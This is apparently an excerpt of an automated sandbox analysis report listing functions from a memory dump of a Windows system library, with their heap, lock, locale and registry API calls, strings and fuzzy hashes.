Opcode Fuzzy Hash: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction Fuzzy Hash: 2471D135A4171A9BCB04CE64C580BEEF7F9AF05718F65425ADC10BBA48F732DA42DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C02B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6C072BF3
HEAP: , xrefs: 6C072BE8
HEAP[%wZ]: , xrefs: 6C072BDB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 62eb8e448d466e6d2d95a755255db43490566823fd663d8f7d3fd2e6001c9f7c
Instruction ID: 91521a230ee5fc4c8d72daddbbfb2b2f7803c611ac7f6881b3d150ba58cd295a
Opcode Fuzzy Hash: 62eb8e448d466e6d2d95a755255db43490566823fd663d8f7d3fd2e6001c9f7c
Instruction Fuzzy Hash: 0961E170600201DFDB18CF28C484BAABBF5FF45308F64856EE85A8BB41D734E985CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C00E8B0, Relevance: 10.7, APIs: 7, Instructions: 190memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6C0BD3A0,00000000,00000FFF,00000000,?,6C069578,00000000), ref: 6C06568A
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6C0BD3A0,00000000,00000FFF,00000000,?,6C069578,00000000), ref: 6C0656A9
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6C0BD3A0,00000000,00000FFF,00000000,?,6C069578,00000000), ref: 6C0656C8

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction ID: 781d0733d72598d9680486f2462eee00c7a09aac26724424fef49438fa8af56b
Opcode Fuzzy Hash: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction Fuzzy Hash: FA717975689F42CFE3618E1ACA40B16B7F5BF51369F650B2DE9E116EE2D730A440CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6C0395EC, Relevance: 10.7, APIs: 7, Instructions: 165timelibraryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6C0396A5

Part of subcall function 6C039702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6C03974F
Part of subcall function 6C039702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6C03976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6C006778,00000001), ref: 6C079682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6C07972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6C079740

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: ad0da0b165800f4a9232efe95cf8f2af6596003501cc40eeffc3fb08f6dddc09
Instruction ID: 4f55db6f0a1313a4e2e5523cfaafadb8e600fd45548be55916b178b982dd94e6
Opcode Fuzzy Hash: ad0da0b165800f4a9232efe95cf8f2af6596003501cc40eeffc3fb08f6dddc09
Instruction Fuzzy Hash: B751EF30B0561AEFDB08CF69C844BAEB7F8BF05319F144269E41997A90DF78A914CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0199C7, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6C019A0C
RtlGetCurrentServiceSessionId.1105 ref: 6C019BFE
RtlGetCurrentServiceSessionId.1105 ref: 6C069FFA

Strings

LdrResFallbackLangList Exit, xrefs: 6C019A04
LdrResFallbackLangList Enter, xrefs: 6C0199F2

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 1007659313-1720564570
Opcode ID: 3ecedc9ce2047aa1e16c502cc5653fb6dd9911170c0fa9fe84d9c9007fb0a4b5
Instruction ID: 02456a431706f6b52a22c525730e8cc655130d5d1895d9e5ae20618bea1868ea
Opcode Fuzzy Hash: 3ecedc9ce2047aa1e16c502cc5653fb6dd9911170c0fa9fe84d9c9007fb0a4b5
Instruction Fuzzy Hash: 1E51EF3120D3828BE310DF6AC88075AB7E0FF86754F54856AE994CBF91E335D944CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6C03CE6C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 131memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6C03CEE6
memcpy.1105(00000010,?,00000000,?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6C03CF16
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand,RtlpInsertAssemblyStorageMapEntry,00000040,?,00000000,00000000,00000000,00000002,?,00000040,00000000,?,?,00000000), ref: 6C07AE15
RtlFreeHeap.1105(?,00000000,00000000,00000040,00000000,?,?,00000000,00000002), ref: 6C07AE34

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand, xrefs: 6C07AE0C
RtlpInsertAssemblyStorageMapEntry, xrefs: 6C07AE07

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreePrintmemcpy
String ID: RtlpInsertAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand
API String ID: 3020890669-2104531740
Opcode ID: d8fd468eb16d23c899421f8626dc1bd4c1ad927830309e8475022007a7c0de85
Instruction ID: 12113e1960bc3bea0ee894a2dbef7ef1795624d6c76ddac1148b743ac084c8b5
Opcode Fuzzy Hash: d8fd468eb16d23c899421f8626dc1bd4c1ad927830309e8475022007a7c0de85
Instruction Fuzzy Hash: 5341E432601625EFDB28DF49C940B6AB3F5FF94B15F208129E95A8BA50D730ED41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6C003FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6C0C3933,RtlGetUserInfoHeap), ref: 6C0603D9
DbgPrint.1105(HEAP: ,?,?,?,?,6C0C3933,RtlGetUserInfoHeap), ref: 6C0603E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6C0C3933,RtlGetUserInfoHeap), ref: 6C0603F9

Strings

Invalid address specified to %s( %p, %p ), xrefs: 6C0603F4
HEAP: , xrefs: 6C0603E1
HEAP[%wZ]: , xrefs: 6C0603D4

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: 3ccb9b99179728b8516b46524312038759b65c38fed89b39218f09e481cde9c4
Instruction ID: aafde5b185027f7a239733dedcbc241231f1bceeebc38847df9174f2185630aa
Opcode Fuzzy Hash: 3ccb9b99179728b8516b46524312038759b65c38fed89b39218f09e481cde9c4
Instruction Fuzzy Hash: 3041533034D391DBFB248F9AC4C07AA73E89F1230CF294169D5555BE42C7B6A48AC72A

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BD208, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131memoryCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,PreferredUILanguages,00000000,?,?), ref: 6C0BD24B

Part of subcall function 6C00F018: RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6C00F05B
Part of subcall function 6C00F018: ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F07A
Part of subcall function 6C00F018: memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F0AB
Part of subcall function 6C00F018: RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F0CB

RtlAllocateHeap.1105(?,00000008,00000000,?,00000000,00000000,?,?,PreferredUILanguages,00000000,?,?), ref: 6C0BD286
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?), ref: 6C0BD361

Strings

PreferredUILanguages, xrefs: 6C0BD241

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFree$InitQueryStringUnicodeValuememcpy
String ID: PreferredUILanguages
API String ID: 4141005267-1884656846
Opcode ID: 79d3106ca57a7c32c10fa8833e4ffe364a470571d19310b6d2455afe4a520249
Instruction ID: f2c8427173b491a1920d379c7d77f0921bfc84bb7c8d6f90d84d5ea8709973e8
Opcode Fuzzy Hash: 79d3106ca57a7c32c10fa8833e4ffe364a470571d19310b6d2455afe4a520249
Instruction Fuzzy Hash: A4410232D05619ABDB11CB98C880BEEF3F8EF45B18F10016AE911B7A44D736DE04C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6C00E420, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,00000000,00000000,?), ref: 6C00E45F
ZwOpenKey.1105(?,?,?,?), ref: 6C00E4A4
ZwClose.1105(?), ref: 6C00E507
ZwClose.1105(00000000), ref: 6C0653C4

Strings

@, xrefs: 6C00E49C
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6C00E455

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$InitOpenStringUnicode
String ID: @$Software\Policies\Microsoft\Control Panel\Desktop
API String ID: 3420387270-3130938041
Opcode ID: 173bbd9c6f96d312220b9af1b90dc676792113ed949c660c5d3f2709da266b86
Instruction ID: f88382132d1a16e3930975de1931ab2c06780d280be502e427c2be8ab0751d36
Opcode Fuzzy Hash: 173bbd9c6f96d312220b9af1b90dc676792113ed949c660c5d3f2709da266b86
Instruction Fuzzy Hash: 52418D7160C3159BD304CF2AC480B5BBBE8AF94754F518A2EF8A497B51E770D909CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6C039ED0, Relevance: 10.6, APIs: 7, Instructions: 125COMMON

Download Yara Rule

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6C079836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6C07984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6C07987A
RtlAcquireSRWLockShared.1105(?), ref: 6C079897
RtlReleaseSRWLockExclusive.1105(?), ref: 6C0798B3

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: fc83bbd1d6cad8929da0f27d41a175a1c2a17c9a8a89d9fb08f0c38d7bfc2bd1
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: 89417C7160C2628FC704CF298804B4FB7E5ABC6318F594A4DF89897B41DA38E90C87E6

Uniqueness

Uniqueness Score: -1.00%

Function 6C00649B, Relevance: 10.6, APIs: 7, Instructions: 123COMMON

Download Yara Rule

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6C0064F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6C00651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6C00656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6C06192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6C061962

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: 645483a6bec8e47e843d0662446c75f16b6271e8a58eb3f0b186451883001edd
Instruction ID: eb922e496ceb3d76216943f2d26b95e268eae3b8d3d67f7d3a658b515fc872b5
Opcode Fuzzy Hash: 645483a6bec8e47e843d0662446c75f16b6271e8a58eb3f0b186451883001edd
Instruction Fuzzy Hash: 5B418F726087069EE311CF65C840B5BB7E9EF84B58F41092AF990D7A50E730DE488BA3

Uniqueness

Uniqueness Score: -1.00%

Function 6C096365, Relevance: 10.6, APIs: 7, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,00000000,?,00000000), ref: 6C096385
ZwQueryVirtualMemory.1105(000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6C0963A4
memcpy.1105(?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6C0963DF
wcsrchr.1105(?,0000005C,?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?), ref: 6C0963E7
RtlFreeHeap.1105(?,00000000,00000000,?,00000008,?,00000000,?,00000000), ref: 6C09640B
RtlAllocateHeap.1105(?,00000008,-00000002,00000008,?,00000000,?), ref: 6C09644D
memcpy.1105(00000000,-00000002,?,00000000,?), ref: 6C09646B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Allocatememcpy$FreeMemoryQueryVirtualwcsrchr
String ID:
API String ID: 58330029-0
Opcode ID: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction ID: 502bcee6d1b902182e3f0c96315b17343713b2266029105231dea369af57ee4b
Opcode Fuzzy Hash: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction Fuzzy Hash: B141CC36A04105EBDB15CFA8C850BAF37F9EB45718F1A8168E9019BA80D735EE01DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6C034020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C0340B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C0340D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C0340F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C034108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C034155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6C0340E8

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: f1acb2882e9af64cefc03ee0f5269e010eeefdfd8223e3ed71aba3266f0b107d
Instruction ID: c8808caabc7f4daa8d633c215765e051ba81de120797c716260b58f2c2c62e5a
Opcode Fuzzy Hash: f1acb2882e9af64cefc03ee0f5269e010eeefdfd8223e3ed71aba3266f0b107d
Instruction Fuzzy Hash: A1418075A04B56AAC724DFF4C4407EBBBF4EF05704F10492ED5A9CBA00E335A544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C01A3E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6C01A404
RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A414

Part of subcall function 6C01A4B0: RtlValidSid.1105(?,?,?,6C01A419,?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A4BA

RtlFreeUnicodeString.1105(?,?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A497

Part of subcall function 6C023A1C: RtlAllocateHeap.1105(?,00000000,00000000,?,6C0467C0,0000004E,00000000,?,6C0983BE,?,?), ref: 6C023A2F

RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A443

Part of subcall function 6C01A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6C01A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6C01A9E2

RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6C01A469

Part of subcall function 6C01A500: RtlValidSid.1105(00000050,?), ref: 6C01A523
Part of subcall function 6C01A500: wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6C01A54A

Strings

\REGISTRY\USER\, xrefs: 6C01A43D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Valid$AllocateAppendConvertFreeHeapInformationLengthQueryTokenmemmovewcscpy_s
String ID: \REGISTRY\USER\
API String ID: 3017593230-2169711131
Opcode ID: 3ca3105e8fd340fa5e08bca2bdbaf6f3375408e37b7c446f1f9786f129814724
Instruction ID: 47e93a585ef1418f3d880c4386f62f22a710f31e95cf27fd14426fd77747ac3b
Opcode Fuzzy Hash: 3ca3105e8fd340fa5e08bca2bdbaf6f3375408e37b7c446f1f9786f129814724
Instruction Fuzzy Hash: DD21A431A04248ABDB10CFE5C905BEFF3F8AF48314F20452AE955DBA40EB34E909C754

Uniqueness

Uniqueness Score: -1.00%

Function 6C02B8E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,-00000020,?,6C02B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6C072C77
DbgPrint.1105((ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size),?,-00000020,?,6C02B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6C072C8F

Strings

HEAP: , xrefs: 6C072C7F
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 6C072C8A
HEAP[%wZ]: , xrefs: 6C072C72

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 3558298466-2558761708
Opcode ID: a3b9aacc7b3f27ade4dbb652312789f05be674cbb4018bc1b471e7b720dbae9f
Instruction ID: 4124421e6ffe7ce3443991624301cb26c895a56e21694d8c0df7415d39f99e3f
Opcode Fuzzy Hash: a3b9aacc7b3f27ade4dbb652312789f05be674cbb4018bc1b471e7b720dbae9f
Instruction Fuzzy Hash: BC112631319501DFD328CB19C484B6AB3F5EF81B28F688129E45BCBB51DB38E885DA61

Uniqueness

Uniqueness Score: -1.00%

Function 6C009240, Relevance: 10.6, APIs: 7, Instructions: 63memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,6C0DF708,0000000C,6C009219), ref: 6C00925A
ZwClose.1105(00000000,6C0DF708,0000000C,6C009219), ref: 6C009279
RtlFreeHeap.1105(?,?,?,00000000,6C0DF708,0000000C,6C009219), ref: 6C009295
RtlFreeHeap.1105(?,?,00000000,?,?,?,00000000,6C0DF708,0000000C,6C009219), ref: 6C0092B1
RtlFreeHeap.1105(?,?,?,?,?,00000000,?,?,?,00000000,6C0DF708,0000000C,6C009219), ref: 6C0092CD
RtlAcquireSRWLockExclusive.1105(6C0F86B4,?,?,?,?,?,00000000,?,?,?,00000000,6C0DF708,0000000C,6C009219), ref: 6C0092D7
RtlFreeHeap.1105(?,?,?,6C0F86B4,?,?,?,?,?,00000000,?,?,?,00000000,6C0DF708,0000000C), ref: 6C00931A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$Close$AcquireExclusiveLock
String ID:
API String ID: 3557490396-0
Opcode ID: b4dd588165f8459a54998b4f6a6b7dbb5296ed9e547f641194b9f904eafeb81e
Instruction ID: df511babdd39d52485755a963ffa0a0c0c9388a6271209ff0a0168f777f135cb
Opcode Fuzzy Hash: b4dd588165f8459a54998b4f6a6b7dbb5296ed9e547f641194b9f904eafeb81e
Instruction Fuzzy Hash: 37212531141600DFC721DF68CA40F9AB7F9BF19318F158669E18987AA1CB38FA95CB44

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D4015, Relevance: 10.5, APIs: 7, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(00000001,?,000000A0,?,?,?,6C076D7C,00000001,00000001,00000000,?,?,6C034E1B,0000000F), ref: 6C0D402F
RtlAcquireSRWLockExclusive.1105(6C0F86AC,00000001,?,000000A0,?,?,?,6C076D7C,00000001,00000001,00000000,?,?,6C034E1B,0000000F), ref: 6C0D4046

Part of subcall function 6C022280: RtlDllShutdownInProgress.1105(00000000), ref: 6C0222BA
Part of subcall function 6C022280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C0223A3

RtlRbRemoveNode.1105(6C0F86D4,?,6C0F86AC,00000001,?,000000A0,?,?,?,6C076D7C,00000001,00000001,00000000,?,?,6C034E1B), ref: 6C0D4051
RtlReleaseSRWLockExclusive.1105(6C0F86AC,6C0F86D4,?,6C0F86AC,00000001,?,000000A0,?,?,?,6C076D7C,00000001,00000001,00000000,?,?), ref: 6C0D4057
RtlReleaseSRWLockExclusive.1105(00000001,6C0F86AC,6C0F86D4,?,6C0F86AC,00000001,?,000000A0,?,?,?,6C076D7C,00000001,00000001,00000000,?), ref: 6C0D4062
